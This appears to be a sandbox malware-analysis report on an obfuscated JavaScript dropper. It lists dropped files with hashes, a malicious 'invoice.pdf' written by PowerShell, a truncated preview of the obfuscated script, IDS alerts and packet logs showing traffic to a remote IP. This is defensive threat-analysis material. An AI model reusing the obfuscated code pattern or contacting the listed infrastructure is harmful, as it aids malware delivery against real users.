Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d493e6c9-ce36-4b95-8da1-26a52318c7bd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\e7928e6f-0c55-4a3a-ba23-57bcc386d506.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17243), with CRLF line terminators
Entropy (8bit):	4.9188680396674584
TrID:
File name:	867419171264419639.js
File size:	20'818 bytes
MD5:	11498690ec7d5d5dd3f07d7dc7461515
SHA1:	bd19ac998b1b9bbde1e6422982105649116eb8c4
SHA256:	5d1cf48ab9429d7d7fe3e0567ea04f269f1f43e806a6e270506f5b26fe51d5e8
SHA512:	59c1273393da2ef8268188d45b7a149b8c3f90c211e471aaa3f8223427267e90308dde34525405a98e3b8857d9b9cf36aea3963490f3e4dd05af78dc8d3f9298
SSDEEP:	384:W5aOGtbX5zqnVqD+c1axJom/cekHNU6uG89sPfA:a4JqnVvrkFuYPo
TLSH:	0C9265CA9A934ADAC6FD0A71B0F5E0CC71E84399874410CDD5C364D39F864B762E4EB9
File Content Preview:	function eucuja(){pplksolpz=[1031,3079,5127,4103,2055,3072];var gqvgzgrwh=this[xvvwwze+yyclusyft+ablkmagn+mtzfriyyp+fsjbd+draxuknft+hdvmet+ylppwgxir](this[sevmh+whhvzbg+gvtyhqny+ablkmagn+ctajvvmp+xvvwwze+ylppwgxir][ehpaw+ablkmagn+fsjbd+yyclusyft+ylppwgxir

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T19:32:50.650651+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-10T19:32:52.865603+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49712	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:32:49.804305077 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:49.809221029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:49.809480906 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:49.814130068 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:49.818942070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.650485992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.650501966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.650512934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.650645018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.650650978 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.650656939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.650676012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.650686979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.650696993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.650707960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.650719881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.650736094 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.650736094 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.650772095 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.655488014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.707787991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.707798958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.708105087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.779011965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.779031992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.779072046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.779119968 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.779131889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.779154062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.779202938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.779216051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.779238939 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.779238939 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.780016899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.780051947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.780062914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.780091047 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.780111074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.780126095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.780138016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.780199051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.780795097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.780843019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.780854940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.780900002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.780911922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.780936956 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.780936956 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.781783104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.781794071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.781804085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.781815052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.781872034 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.781872034 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.845412016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.845427036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.845479012 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.891599894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.891613960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.891624928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.891994953 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.907490969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.907519102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.907529116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.907588005 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.907650948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.907682896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.907686949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.907699108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.907749891 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.907953978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.907983065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.907994032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.908008099 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.908070087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.908265114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.908305883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.908318043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.908396006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.908406973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.908417940 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.908433914 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.908854008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.908865929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.908876896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.908926010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.908926010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.908943892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.908957005 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.908967972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.908998966 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.909014940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.909056902 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.909766912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.909778118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.909790993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.909832001 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.909837961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.909854889 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.909867048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.909878969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.909883976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.909919024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.910645008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.910656929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.910669088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.910737991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.910748959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.910759926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.910772085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.910790920 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.910988092 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.911515951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.911528111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.911536932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.911571026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.911582947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.911591053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.911607981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.911660910 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.911729097 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.935959101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.935977936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.936033964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.936094046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.936105013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.936120033 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.936156034 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:50.982135057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.982148886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:50.982346058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.020083904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.020107031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.020117998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.020195961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.020220041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.020231962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.020309925 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.020309925 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.036231041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.036242008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.036257029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.036269903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.036277056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.036283016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.036389112 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.036389112 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.036439896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.036463976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.036475897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.036540031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.036551952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.036597967 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.036597967 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.036840916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.036854982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.036864996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.036926985 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.036926985 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.037204981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.037228107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.037240028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.037324905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.037336111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.037365913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.037374973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.037379026 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.037379026 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.037384987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.037395000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.037420988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.037442923 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.037542105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.037620068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.037631989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.037642002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.037666082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.037672997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.037672997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.037677050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.037740946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.037751913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.037764072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.037816048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.037816048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.038361073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.038372993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.038383961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.038395882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.038400888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.038407087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.038418055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.038429976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.038460970 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.038491964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.038505077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.038515091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.038516045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.038532019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.038544893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.038566113 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.038566113 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.038616896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.039153099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.039179087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.039190054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.039274931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.039285898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.039297104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.039309025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.039330959 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.039330959 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.039376020 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 19:32:51.039557934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.039578915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.039589882 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.039601088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.039613962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 19:32:51.039625883 CET	49710	80	192.168.2.6	193.143.1.205
